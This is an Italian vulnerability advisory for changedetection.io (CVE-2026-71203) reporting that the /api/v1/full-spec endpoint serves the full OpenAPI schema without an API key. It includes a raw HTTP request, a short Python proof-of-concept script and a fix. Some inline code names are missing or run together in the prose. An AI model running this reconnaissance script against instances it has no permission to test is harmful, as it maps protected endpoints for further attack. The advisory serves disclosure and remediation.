
PoC: divulgazione non autenticata dello schema OpenAPI di changedetection.io (CVE-2026-71203, Medio 5.3)
Prodotto: dgtlmoon/changedetection.io — v0.55.7
File: changedetectionio/api/Spec.py
CWE: CWE-306 — Autenticazione mancante per funzione critica
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (Medio)
CNA: Turan Security · Record CVE
Le risorse dell'API REST di changedetection.io sono protette da un decoratore @auth.check_token
che valida l'header x-api-key del chiamante — ad eccezione della risorsa Spec registrata su
/api/v1/full-spec (), il cui metodo non è dotato né di
né di .
changedetectionio/api/Spec.pyget@auth.check_token@validate_openapi_requestQualsiasi client di rete non autenticato può recuperare lo schema OpenAPI completo dell'istanza, rivelando l'intera superficie API interna (tutti i percorsi delle risorse, i parametri e le forme delle risposte) senza presentare alcuna chiave API. Sebbene lo schema in sé non sia un dato utente sensibile, fornisce a un attaccante una mappa completa e autorevole di ogni altro endpoint API da prendere di mira — riducendo il costo di ulteriori attività di ricognizione contro le risorse effettivamente protette dell'istanza.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
Non è richiesto alcun header x-api-key, cookie o altra credenziale. La risposta è il documento
completo delle specifiche OpenAPI.
Prova di concetto (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
Ogni altra risorsa REST dell'API è registrata con @auth.check_token (e
@validate_openapi_request) applicato ai suoi metodi handler; il metodo get della risorsa
Spec non è stato decorato allo stesso modo, lasciandolo come unico endpoint non autenticato
in una superficie altrimenti protetta da chiave API.
Applica @auth.check_token a Spec.get() in modo coerente con ogni altra risorsa API; oppure,
se lo schema è destinato a essere pubblico, rendi questa una decisione esplicita e documentata
anziché un'incoerenza.